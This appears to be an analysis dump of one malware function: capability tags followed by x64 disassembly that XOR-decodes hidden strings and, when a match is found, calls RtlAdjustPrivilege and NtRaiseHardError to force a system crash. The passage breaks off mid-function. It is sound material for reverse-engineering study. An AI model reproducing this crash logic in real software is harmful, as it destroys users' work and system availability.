Function at 0x140049af0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
xor esi, esi
mov dword [rbp + 0x67], esi
movdqa xmm0, xmmword [0x1400fa670]
movdqu xmmword [rbp - 0x59], xmm0
mov word [rbp - 0x49], 0x100
mov ecx, esi
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0x10
jb 0x140049b30
mov byte [rbp - 0x48], sil
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x140049b61
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x140049bbf
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049bba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x140049cab
call fcn.1400491c0
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x5a444640
mov dword [rbp - 0x55], 0x42405e48
mov dword [rbp - 0x51], 0x4c561c5f
mov word [rbp - 0x4d], 0x50
mov byte [rbp - 0x4b], 1
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xd
jb 0x140049cd0
mov byte [rbp - 0x4b], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140049d00
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x140049d5f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049d5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x140049e4b
call fcn.1400491c0
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x481f1c51
mov dword [rbp - 0x55], 0x5501494f
mov dword [rbp - 0x51], 0x1005749
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xa
jb 0x140049e70
mov byte [rbp - 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140049ea0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x140049eff
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049efa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x140049feb
call fcn.1400491c0
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x48191951
mov dword [rbp - 0x55], 0x5501494f
mov dword [rbp - 0x51], 0x1005749
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xa
jb 0x14004a010
mov byte [rbp - 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a040
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004a09f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a09a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004a18b
call fcn.1400491c0
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x481d1351
mov dword [rbp - 0x55], 0x5501494f
mov dword [rbp - 0x51], 0x1005749
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xa
jb 0x14004a1b0
mov byte [rbp - 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a1e0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004a23f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a23a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004a32b
call fcn.1400491c0
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x1a6a6e60
mov dword [rbp - 0x55], 0x484a0019
mov word [rbp - 0x51], 0x54
mov byte [rbp - 0x4f], 1
mov rcx, rsi
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 9
jb 0x14004a350
mov byte [rbp - 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a380
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004a3df
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a3da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004a4d6
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x1f6a6e60
mov dword [rbp - 0x55], 0x484a001f
mov word [rbp - 0x51], 0x54
mov byte [rbp - 0x4f], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 9
jb 0x14004a500
mov byte [rbp - 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a530
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004a58f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a58a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004a686
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x1f4a4e60
mov dword [rbp - 0x55], 0x484a001f
mov word [rbp - 0x51], 0x54
mov byte [rbp - 0x4f], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 9
jb 0x14004a6b0
mov byte [rbp - 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a6e0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004a73f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a73a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004a836
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x24a4e60
mov dword [rbp - 0x55], 0x4a5648
mov byte [rbp - 0x51], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 7
jb 0x14004a850
mov byte [rbp - 0x51], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a880
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004a8df
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a8da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004a9d6
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x1a4a4e60
mov dword [rbp - 0x55], 0x484a0019
mov word [rbp - 0x51], 0x54
mov byte [rbp - 0x4f], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 9
jb 0x14004aa00
mov byte [rbp - 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004aa30
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004aa8f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004aa8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004ab86
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x26a6e60
mov dword [rbp - 0x55], 0x4a5648
mov byte [rbp - 0x51], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 7
jb 0x14004aba0
mov byte [rbp - 0x51], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004abd0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004ac2f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ac2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004ad26
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
